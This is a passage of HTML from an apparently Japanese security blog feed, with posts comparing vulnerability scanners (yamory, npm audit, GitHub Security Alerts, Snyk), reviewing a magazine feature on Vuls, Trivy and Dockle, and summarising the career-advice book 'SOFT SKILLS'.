title="f:id:security_index:20191026222227p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026222227.png" alt="f:id:security_index:20191026222227p:plain" /></p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>情報の元となる情報源は以下の情報が使われています。</p> <blockquote> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>は、サポートされている言語でのパッケージ中で<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を追跡するのに、以下のソースを使います。</p> <p>・MITREのCommon Vulnerabilities and Exposures (CVE) リスト<br />・<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>上のパブリックなコミット内の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の検出に、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>と人間によるレビューの組み合わせ<br />・<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>上のメンテナセキュリティアドバイザリ<br />・<a href="https://www.whitesourcesoftware.com/GitHubSecurityAlerts">WhiteSource</a></p> </blockquote> <p> </p> <p>実際に私の環境で表示されたSecurity Alertsは以下のようになっています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026221554p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026221554.png" alt="f:id:security_index:20191026221554p:plain" /></p> <p> </p> <p>こちらもnpm auditと同じ結果、CVEも同じ2件になりました。</p> <p>ただし、細かい点ですが、severityが少し異なり、npmはHigh、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>はcriticalとなっています。</p> <p> </p> <p>lodashの詳細のページはこのようになっています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026223143p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026223143.png" alt="f:id:security_index:20191026223143p:plain" /></p> <p> </p> <p>Remediationが大きく書かれている点が特徴と言えると思います。</p> <p>npm auditでは、npm audit fixコマンドを使うことで自動で機能もあります。</p> <p> </p> <p>今回の結果だけの場合、npm auditと<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a> Security Alertsはかなり近い結果となりました。</p> <p> </p> <p> </p> <h5 id="まとめ">まとめ</h5> <p>CVE Details、npm audit、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a> Security Alertsとyamoryを比較しました。</p> <p>検知される<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の数、優先順位づけ、日本語に対応している点など多くの部分でメリットがあるように感じました。</p> <p>また、<a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>コミュニティでの議論結果、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>ではないと判断されているものに関してはその結果を反映され、利用者にその事がわかるようになっているなど独自の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>のDBが構築されている事がわかるものになっています。</p> <p> </p> <p>ただ、この後に気になる点や大きな脅威になりそうなツールなどについても触れたいと思います。</p> <p> </p> <p> </p> <h3 id="気になる点">気になる点</h3> <h4 id="検出ミス">検出ミス</h4> <p>yamoryでは<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>が合計4件(Immediate2件、リスク低2件)検出されていました。</p> <p>しかし、Immediateに割り当てられている <a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a> (<a href="https://nvd.nist.gov/vuln/detail/CVE-2016-10707">CVE-2016-10707</a>) は本来脆弱ではないものが検出されていました。</p> <p>脆弱な<a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>のバージョンは 3.0.0-rc.1 のみなのですが、私が設定した3.0.0の<a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>の場合でも検出されていました。</p> <p> </p> <p>CVE-2016-10707の<a class="keyword" href="http://d.hatena.ne.jp/keyword/cpe">cpe</a>は以下のような記述となっています。</p> <p>バージョンは3.0.0のものを示していますが、そのあとのアップデートがrc1となっており、ここまで一致したものが脆弱と判断されます。</p> <p>(NVDの<a class="keyword" href="http://d.hatena.ne.jp/keyword/cpe">cpe</a>は必ずしも正確な情報が書かれている訳ではないですが)</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191027102302p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191027/20191027102302.png" alt="f:id:security_index:20191027102302p:plain" /></p> <p> </p> <p>yamoryではアップデートの情報まで検証せずに<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の判断をしていると思われるのでこのような誤検知が発生していると考えられます。</p> <p>すぐに修正できる小さなものですが、スキャンツールでは同様の問題は常に発生してしまうものだと思います。</p> <p>このような問題を極力減らし、他のツールにない付加価値を加えるためにもDBの強化が重要になってくると思います。</p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/cpe">cpe</a>の詳しい説明は<a href="https://www.ipa.go.jp/security/vuln/CPE.html">こちらのIPAの情報</a>を参照してください。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191027142528p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191027/20191027142528.png" alt="f:id:security_index:20191027142528p:plain" /> </p> <p> </p> <h4 id="競合となるツール">競合となるツール</h4> <p> yamoryでも参照しているサイトだったため知ったのですが、<a href="https://snyk.io/">snyk</a>という<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャンツールを提供しているところがあります。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191027150404p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191027/20191027150404.png" alt="f:id:security_index:20191027150404p:plain" /></p> <p> </p> <p>こちらも機能としてはかなり近いもののように思われます。</p> <p>違いは、</p> <p>・Goなどの言語にも既に対応している</p> <p>・修正のためのコマンドなどの生成、プルリク生成</p> <p>・<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> LambdaなどPaaSに対応</p> <p>・コンテナ対応</p> <p>・ライセンスの確認にも対応</p> <p>などがあります。</p> <p> </p> <p>現状だと、こちらの方が高機能だと言えます。</p> <p>ただ、このツールが近いうちに日本語対応するとは考えにくいので、日本語に対応している、日本人によるサポートが受けられるなどyamoryにはメリットがあるとは思います。</p> <p> </p> <p> </p> <h3 id="追加機能の提案">追加機能の提案</h3> <p><a href="https://security-index.hatenablog.com/entry/2019/10/14/171243">前回の記事</a>でも書きましたが、今回も内容が近くなりますが書いてみます。</p> <p> </p> <h4 id="ticket管理機能">ticket管理機能</h4> <p>前回の記事のマシンリーダブルな出力と近い話ですが、現状はslackとメールの連携が公式でサポートされていると思います。</p> <p>また、CIに組み込むこともできると書かれているので上手く使えば現状のままでもその他のticket管理システムの連携が可能なのかもしれません。</p> <p> </p> <p>しかし、上記のsynkのように公式でticket管理システムとの連携をサポートできていることを発表できる事が利用者にとってどの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャナを採用するかどうかの判断になるように思われます。</p> <p> </p> <p>yamoryではyamory上での<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>ハンドリング機能を充実させていますが、大きな組織では既に何かしらのticket管理によるバグや<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>のハンドリングの流れが構築されているケースが多いと考えられます。</p> <p> </p> <p>新たに、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の対応だけyamoryを使うというのは開発者にとっては負担が増えるように私は感じるので、今既に使っているツールに組み込む事ができるようにしてあげる、というのが開発者にとって優しいツールになるように思います。</p> <p> </p> <p> </p> <h4 id="セキュリティニュース配信機能">セキュリティニュース配信機能</h4> <p>前回の記事の毎日使われる機能でも触れましたが、毎日セキュリティ担当者に使ってもらえるような機能があるとyamoryのツールの価値が高まると私は思っています。</p> <p>(CIに組み込み、yamoryのWeb画面にはほとんど触れない、というツールであればまた話が変わるとは思います)</p> <p> </p> <p>セキュリティの担当者の多くが世の中のセキュリティの流れをチェックするために色々なニュースサイトや<a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a>を見て回っていると思います。</p> <p>ただ、ノイズが多かったり、欲しい情報が集まりにくかったりと苦労されていると思います。</p> <p> </p> <p>こちらのQiitaの記事のようにVulsの開発者の方が上記の課題へのアプローチとしてslackを使っていますが、参加者の人たちが良いと思うものを次々載せていくために本当に欲しい情報が見つけにくくなるという状態になっているように感じられます。</p> <p> </p> <p><a href="https://qiita.com/kotakanbe@github/items/32cf4eb3de1741af26fb">究極のIT系最新技術情報収集用Slackチーム公開 - モヒカンSlack - - Qiita</a></p> <p> </p> <p>yamoryでは利用者が使っているソフトウェアがわかっているので、そのソフトウェアに関係する情報だけを表示したり、目立つようにする事が可能だと思います。</p> <p> </p> <p>NVDのデータが揃う前にニュースサイトで公開されてしまっている<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>などもニュースの記事から利用者の通知ができるとより良いと思います。</p> <p> </p> <h3 id="まとめ-1">まとめ</h3> <h4 id="感想">感想</h4> <p>今回は比較しやすいようにするために<a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>、lodashの二つだけで<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャンをし、他のツールとの比較を行いました。</p> <p>実環境では、もっと多くの<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>を利用し、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の数も多く指摘され、どの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>から対応すべきかといった<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a>がより重要になるなど、多くの部分で今回のレビュー環境とは異なってきます。</p> <p>その場合の使用感として、どのツールがより使いやすいか検討する必要があると思います。</p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャナの分野はなかなか面白そうです。</p> <p> </p> <p> </p> <h4 id="その他">その他</h4> <p>・<a href="https://amzn.to/2Wio8AF">ソフトウェアデザイン 2019年11月号</a></p> <p><a href="https://amzn.to/31Sa8P8"><img class="hatena-fotolife" title="f:id:security_index:20191019152746j:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191019/20191019152746.jpg" alt="f:id:security_index:20191019152746j:plain" width="181" /></a></p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャナ Vuls/Trivy/Dockleについて書かれています。</p> <p>あまり<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャナについて詳しくない人にとってはわかりやすくておすすめです。</p> <p>既によく知っている人には少し物足りないかもしれません。</p> <p>以前に以下の記事を書きましたのでよかったらどうぞ。</p> <p><a href="https://security-index.hatenablog.com/entry/2019/10/19/163716">ソフトウェアデザイン 2019年11月号 脆弱性スキャナ特集 まとめと感想 - Security Index</a> </p> <p> </p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index ソフトウェアデザイン 2019年11月号 脆弱性スキャナ特集(Vuls/Trivy/Dockle) まとめと感想 hatenablog://entry/26006613451974065 2019-10-19T16:37:16+09:00 2020-07-20T14:10:39+09:00 ソフトウェアデザイン 2019年11月号の特集2が脆弱性スキャナ Vuls/Trivy/Dockleとのことでしたので早速購入してみました。 使い方の説明もありますが、私としてはそれぞれのOSS作者の開発秘話のような話が聞けてとても面白かったです。 自分もOSSへコミットしてみたり、開発してみようかなと、読んでいてとてもモチベーションが上がる内容になっています。 <p><a href="https://amzn.to/2oLQPd8">ソフトウェアデザイン 2019年11月号</a>の特集2が脆弱性スキャナ Vuls/Trivy/Dockleとのことでしたので早速購入してみました。</p> <p> </p> <p>使い方の説明もありますが、私としてはそれぞれのOSS作者の開発秘話のような話が聞けてとても面白かったです。</p> <p>自分もOSSへコミットしてみたり、開発してみようかなと、読んでいてとてもモチベーションが上がる内容になっています。</p> <p> </p> <p> </p> <p><a href="https://amzn.to/2o0OPxd"><img class="hatena-fotolife" title="f:id:security_index:20191019154225p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191019/20191019154225.png" alt="f:id:security_index:20191019154225p:plain" width="500" /></a></p> <ul class="table-of-contents"> <li><a href="#概要">概要</a></li> <li><a href="#第1章-脆弱性スキャナの効果と威力">第1章 脆弱性スキャナの効果と威力</a></li> <li><a href="#第2章-脆弱性検知はVulsに任せろ">第2章 脆弱性検知はVulsに任せろ</a></li> <li><a href="#第3章-コンテナの安全性を測る-TrivyDockle">第3章 コンテナの安全性を測る Trivy/Dockle</a></li> <li><a href="#第4章-開発者が語るOSSのインパクト">第4章 開発者が語るOSSのインパクト</a></li> <li><a href="#全体通しての感想">全体通しての感想</a></li> </ul> <h3 id="概要">概要</h3> <p>ソフトウェアデザイン 2019年11月号の特集2「脆弱性スキャナ Vuls/Trivy/Dockle」というタイトルですが、サブタイトルが「OSSを公開したら人生が変わった3人の開発者」となっており、サブタイトル通りに3人(神戸さん、福田さん、天地さん)の人生がOSSを通してどう変わっていったのかが感じられるものになっています。</p> <p>全部で4章(21ページ分)あり、Vuls/Trivy/Dockleの使い方、何ができるのかといった説明と作成者がOSSを作成するにあたっての秘話なども書かれています。</p> <p> </p> <h3 id="第1章-脆弱性スキャナの効果と威力">第1章 脆弱性スキャナの効果と威力</h3> <p>この章では脆弱性を管理することの大変さと重要性について語られています。</p> <p>WebLogicの脆弱性(<a href="https://nvd.nist.gov/vuln/detail/CVE-2018-2628">CVE-2018-2628</a>)を例に世の中に公開されてからPoCが公開され、実際に攻撃に使われ始めるまでに時間が短いケースがある、という注意喚起がされ、Vulsのような脆弱性スキャンツールで手間をかけずに脆弱性管理を行う重要性が語られています。</p> <p> </p> <p>WebLogicの脆弱性は特に中国で監視されており、脆弱性が発表されるとすぐに中国からの攻撃が観測される、との話を聞いたことがあります。</p> <p>WebLogicの脆弱性を突かれると影響も大きいと思いますので早い対応が必要になり、素早い対応をするためにもVulsのような脆弱性スキャンツールを使い、常に監視をするというのが確かに重要だと思います。</p> <p> </p> <p>(参考) <a href="http://www.intellilink.co.jp/article/vulner/180510.html">NTT DATA Oracle WebLogic Serverに含まれるリモートコード実行に関する脆弱性(CVE-2018-2628)についての検証レポート</a></p> <p>CVE-2018-2628に関する詳しい解説が乗っています。</p> <p>NTT DATAによる観測でもPoC公開直後に攻撃が観測され、攻撃の送信元も中国が半数以上に占めています。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191019155907p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191019/20191019155907.png" alt="f:id:security_index:20191019155907p:plain" /></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191019155941p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191019/20191019155941.png" alt="f:id:security_index:20191019155941p:plain" /></p> <p> </p> <h3 id="第2章-脆弱性検知はVulsに任せろ">第2章 脆弱性検知はVulsに任せろ</h3> <p>VulsをAWS のEC2上で構築する際の方法がコマンドと共に書かれています。</p> <p>コマンドの通り実行することで構築、スキャンができるので初心者にも優しい内容になっています。</p> <p>もちろん、<a href="https://vuls.io/docs/ja/tutorial-local-scan.html">VulsのTutorial</a>も公開されているのでこちらをみてもVulsの構築は可能だと思います。</p> <p>しかし、使い方だけではなくスキャン結果のどの部分を特に気にしてみた方が良いのか、ざっくりどんな機能がありどう扱えばよいのかを理解するためにはこの第2章の部分はとても参考になる。</p> <p> </p> <p>また、神戸さんがネパールにバックパックで旅行に行ったことをきっかけにOSSによる世界平和を悟り、Vulsの開発を自宅に引きこもり行ったという話は強烈です。</p> <p>分量がかなりありますが、詳しいインタビュー記事を参考に載せておきます。</p> <p><iframe class="embed-card embed-blogcard" style="display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;" title="ガンジス川で瞑想し、サウナでひらめきVulsができた - 各OSに対応する脆弱性スキャンを実現した手法 - エンジニアHub|若手Webエンジニアのキャリアを考える!" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Femployment.en-japan.com%2Fengineerhub%2Fentry%2F2019%2F09%2F26%2F103000" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://employment.en-japan.com/engineerhub/entry/2019/09/26/103000">employment.en-japan.com</a></cite></p> <p> </p> <p> </p> <p>私としては第2章の章末にある福田さんによる「COLUMN Vulsとの出会い」がとてもよかった。</p> <p>セキュリティエンジニアとして何か尖ったものを持ちたいと思っていたが全力で取り組める「何か」が見つからなかったが、Vulsに出会い、神戸さんに出会ったことで心のモヤモヤが晴れた。</p> <p>この部分はぜひ読んで欲しい部分です。</p> <p> </p> <h3 id="第3章-コンテナの安全性を測る-TrivyDockle">第3章 コンテナの安全性を測る Trivy/Dockle</h3> <p>この章でははじめに福田さんが<a href="https://github.com/aquasecurity/trivy">Trivy</a>を開発した経緯が書かれています。</p> <p>コンテナの脆弱性スキャナはTrivyを開発する以前からありましたが、どのツールもセットアップが面倒だったり開発者にとって使いやすいものでなく、改善点を多く感じていたことがきっかけだそうです。</p> <p> </p> <p>次にTrivyと<a href="https://github.com/goodwithtech/dockle">Dockle</a>のセットアップ方法、簡単な実行方法について書かれています。</p> <p> </p> <p>私はTrivyをDockerの脆弱性スキャナとだけの認識でしたが、以下のコンテナ内のパッケージ管理ファイルを見つけ、脆弱性の特定を行うようです。</p> <p><a href="https://github.com/aquasecurity/trivy#application-dependencies">GitHub - aquasecurity/trivy: A Simple and Comprehensive Vulnerability Scanner for Containers, Suitable for CI</a></p> <p> </p> <ul style="box-sizing: border-box; padding-left: 2em; margin-top: 0px; margin-bottom: 16px; color: #24292e; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"> <li style="box-sizing: border-box;">Gemfile.lock (Ruby)</li> <li style="box-sizing: border-box; margin-top: 0.25em;">Pipfile.lock (pip, python)</li> <li style="box-sizing: border-box; margin-top: 0.25em;">poetry.lock (python)</li> <li style="box-sizing: border-box; margin-top: 0.25em;">composer.lock (php)</li> <li style="box-sizing: border-box; margin-top: 0.25em;">package-lock.json (node.js)</li> <li style="box-sizing: border-box; margin-top: 0.25em;">yarn.lock (node.js)</li> <li style="box-sizing: border-box; margin-top: 0.25em;">Cargo.lock (Rust)</li> </ul> <p> </p> <p>これらのファイルを使って利用しているライブラリの名前、バージョンを特定し、外部の脆弱性DBを使って脆弱性の特定を行っているようです。</p> <p> </p> <p>本誌の中で印象的だったのは</p> <p> </p> <blockquote> <p>開発をしているとどうしても機能をいろいろと追加したくなりますが、OSSではその機能を開発する期間よりもメンテナンスをしていく期間の方が長くなることが多いです。</p> <p>多機能にしてしまうと、将来のメンテナンスコストを増大してしまいます。</p> <p>なるべく機能を少なく保つことでツールとしてのコアな機能に集中できると考えているため、今後も本体の機能はシンプルに保ちたいと思います。</p> </blockquote> <p> </p> <p>どうしても多くの機能を追加したくなるところですが、その後の運用まで考えるとシンプルであることも必要です。</p> <p>(言われれば当たり前のように感じますが、なかなか難しい)</p> <p> </p> <h3 id="第4章-開発者が語るOSSのインパクト">第4章 開発者が語るOSSのインパクト</h3> <p>この章が一番面白くおすすめの部分です。</p> <p>Vulsの作者の神戸さん、Trivyの作者の福田さん、Dockleの作者の天地さんによるOSSの開発し始めの話やOSSの開発を通してどう変わったのかについて書かれています。<br />3人ともタイプの違う人たちのため、読んだそれぞれの人の立場によって感じ方や共感できる部分が変わりそうだと感じています。</p> <p>読んでいて多くの方のモチベーションが上がると思います。</p> <p><br />OSSに貢献する、開発するというのはかなりハードルが高いと私自身も思いますが、天地さんはエンジニア歴が短く、元々は看護師やゲームプロデューサをされていた方のようです。<br />そのような方もチャレンジをしてVulsへのコミットやDockleの開発まで行えるようになっていたという話を聞くと自分もやってみようかな、と思えるのではないでしょうか。</p> <p> </p> <p>また、Trivyの開発者の福田さんは、イスラエルのAqua Security Softwareというスタートアップに買収され、Aquaで働くことになる、という話はとても印象的です。</p> <p>詳しい話は<a href="http://knqyf263.hatenablog.com/entry/2019/08/20/120713">福田さんのブログ</a>に載っています。</p> <p>ブログに載っていない現在イスラエルで何をしているのかも書かれていますのでその部分も面白いです。</p> <p> </p> <p><a href="https://opensource.tokyo/n/nc96669b27365">こちら(opensource.tokyo)</a>の福田さんへのインタビュー記事もとても面白いです。</p> <p> </p> <p>Trivyの開発経緯から買収までの話に加えて、OSS開発に関する考え方 (READMEを作り込む、あえて自分で直さずに誰かに修正してもらう、スターを押すだけでもいい「貢献」から始める、など) も書かれています。</p> <p> </p> <h3 id="全体通しての感想">全体通しての感想</h3> <p>どの人も自分が現場で感じた改善点をツールを自作してより良くしていった、という共通点があります。</p> <p> </p> <p>福田さんのColumnにも書いてありますが、自動化のためのちょっとしたツールを開発したとしても自分以外の人が利用できるほどの完成度の高いものではなかったりします。</p> <p>その時に肩肘を張らずに完成度が高くなくてもOSSとして公開してみたり、他の人に使ってもらえるように共有してみることが重要で、それがあったからこそ今に繋がっているのだと思います。</p> <p> </p> <p>また、福田さんも天地さんもVulsの作者の神戸さんと出会ったことがきっかけとなっています。</p> <p>誰かとの出会いなどの小さなきっかけで人生が大きく変わることもあると思います。<br />そのためにも自分にとって小さなチャレンジでも良いのでどこかのイベントに参加したり、Twitterやブログでコメントをするでも良いと思いますので、何かを新しく行動をする、というのが大きな変化に繋がると私は思います。</p> <p> </p> <p><a href="https://amzn.to/2oLQPd8">ソフトウェアデザイン 2019年11月号</a></p> <p> </p> <p><a href="https://amzn.to/33Hj6k6">ソフトウェアデザイン 2019年12月号 「サーバーレスでめざせ! インフラ管理ゼロなシステム」「PHPプログラミング・アラカルト」</a></p> <p><a href="https://amzn.to/2NJ5PlE"><img class="hatena-fotolife" title="f:id:security_index:20191114081330j:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191114/20191114081330.jpg" alt="f:id:security_index:20191114081330j:plain" width="180" /></a></p> <p> </p> <p>Twitter アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index SOFT SKILLS ソフトウェア開発者の人生マニュアル まとめ その2 マインド編 hatenablog://entry/26006613449932054 2019-10-17T19:00:00+09:00 2019-10-27T21:07:09+09:00 ソフトウェアエンジニアのための「技術」ではなく、キャリアや学習方法、生産性、メンタルに関してなど、ソフトウェアエンジニアがより良い人生を歩めるようになるための本「SOFT SKILLS ソフトウェア開発者の人生マニュアル」についていくつか紹介します。 今回は前回のその1 キャリア編の続きのマインド編になります。 <p>ソフトウェアエンジニアのための「技術」ではなく、キャリアや学習方法、生産性、メンタルに関してなど、ソフトウェアエンジニアがより良い人生を歩めるようになるための本「<a href="https://amzn.to/2oEhnN6">SOFT SKILLS ソフトウェア開発者の人生マニュアル</a>」についていくつか紹介します。</p> <p> </p> <p>今回は前回の<a href="https://security-index.hatenablog.com/entry/2019/10/15/205707">その1 キャリア編</a>の続きのマインド編になります。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191017174336p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191017/20191017174336.png" alt="f:id:security_index:20191017174336p:plain" /></p> <ul class="table-of-contents"> <li><a href="#プロ意識をもつ">プロ意識をもつ</a><ul> <li><a href="#いい習慣を身につける">いい習慣を身につける</a></li> <li><a href="#正しいことをする">正しいことをする</a></li> </ul> </li> <li><a href="#うまくやり遂げるまではできたふりをしよう">うまくやり遂げるまではできたふりをしよう</a></li> <li><a href="#テクノロジーに対して頑なな態度を取らない">テクノロジーに対して頑なな態度を取らない</a><ul> <li><a href="#テクノロジーに対して宗教的になっている">テクノロジーに対して宗教的になっている</a></li> <li><a href="#選択肢を制限しない">選択肢を制限しない</a></li> </ul> </li> <li><a href="#参考"> 参考</a><ul> <li><a href="#TED-メグジェイ-30歳は昔の20歳ではありません">TED メグ・ジェイ 30歳は昔の20歳ではありません</a></li> <li><a href="#不格好経営-南場智子">不格好経営 南場智子</a></li> <li><a href="#社長失格-板倉-雄一郎">社長失格 板倉 雄一郎</a></li> </ul> </li> </ul> <h3 id="プロ意識をもつ">プロ意識をもつ</h3> <blockquote> <p>簡単に言えば、プロとは、自分の責任を取り、キャリアを真剣に考え、自分が正しいとわかっていることをするために(多くの場合は自己責任において)、難しい選択をあえてすることを厭わない人のことである。</p> </blockquote> <p> </p> <p>この本では、ひとつの例として品質を下げ、開発時間を短縮するように求められた場合でもプロとして自分の品質基準を守るように努力すべきだ、たとえ自分のポストを賭けるような事態になっても自分の原則の元で行動すべきだという。</p> <p> </p> <h4 id="いい習慣を身につける">いい習慣を身につける</h4> <p>では、プロになるためにはどうすればいいのか。</p> <p>プロになるためには、プロの習慣を身につける必要がある。</p> <p>プロの習慣とは、例えば時間管理の習慣。</p> <p>毎日仕事をする前に今日は何の仕事をするのか把握し、どれくらい時間がかかるのかの目安を持つことが重要。</p> <p> </p> <h4 id="正しいことをする">正しいことをする</h4> <p>エンジニアであれば、技術的な難問であれば客観的に対処できる。</p> <p>しかし、倫理的な問題の場合は技術的な問題よりもはるかに難しい。</p> <p> </p> <p>ボブ・マーティンというソフトウェア開発者で<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C3%F8%BA%EE%B2%C8">著作家</a>が、 ソフトウェア開発者と医者を比較した例をあげている。</p> <blockquote> <p>患者は腕が痛むので切り落としてくれと医者に言っており、もちろん医者は「ノー」と答えている。</p> <p>しかし、ソフトウェア開発者は、同じような状況に直面したときに。上層部の怒りを恐れて「イ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A8%A5%B9">エス</a>」と答え、コードの切断を行ってしまうことが多い。</p> </blockquote> <p> </p> <p>実際問題、この例のように明らかに「ノー」が正しいという場面に直面することも少ないかもしれないが、「ノー」と言うべき場面で「ノー」と言えるかどうかはプロとして重要な要素なのかもしれない。</p> <p>ただ、筆者は以下のことも言っている。</p> <p> </p> <blockquote> <p>それは苦しいことかもしれないが、キャリアを通じて自分が正しいと思っていることを一貫して選んだ方が、そうでないよりも報われる可能性が高い。</p> <p>そして、夜よく眠れる。</p> </blockquote> <p> </p> <h3 id="うまくやり遂げるまではできたふりをしよう">うまくやり遂げるまではできたふりをしよう</h3> <blockquote> <p>ソフトウェア開発者としてキャリアを重ねていくと、自分は適任ではないような状況に何度もぶつかるだろう。</p> <p>準備ができていない難問や障害にぶつかることはよくある。</p> <p>しかし、そのようなときに何をするかは、あなたが成功するかどうかを分ける最大の要因になる。</p> </blockquote> <p> </p> <p>「うまくやり遂げるまではできたふりをする」と同じような言葉は聞いたことがある人もいるかもしれない。</p> <p>これは、嘘をついて知識や能力があるふりをしろ、と言う訳ではない。</p> <p> </p> <blockquote> <p>仕事に取り掛かる前から、まるでその仕事や技をやり遂げたかのように行動せよと言っているのである。</p> </blockquote> <p> </p> <p>ここで重要なのは「行動する」という点で、難しくて行動できないという状態を脱して、自信を持って取り組むことで本当にできるようになるのである。</p> <p> </p> <h3 id="テクノロジーに対して頑なな態度を取らない">テク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>に対して頑なな態度を取らない</h3> <p>多くのエンジニアは自分の気にっているOS、言語、ツールなどがあり、異なるものが好きなエンジニアに対して反論したり、自分の考えを押し付けたりすることがある。</p> <p>しかし、このようなテク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>に対する頑なな態度を避ければ、もっと深いところまで知ることができるようになる。</p> <p> </p> <h4 id="テクノロジーに対して宗教的になっている">テク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>に対して宗教的になっている</h4> <p>自分が最良だと思うテク<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CE%A5%ED">ノロ</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>をひいきにすること自体は自然なことである。</p> 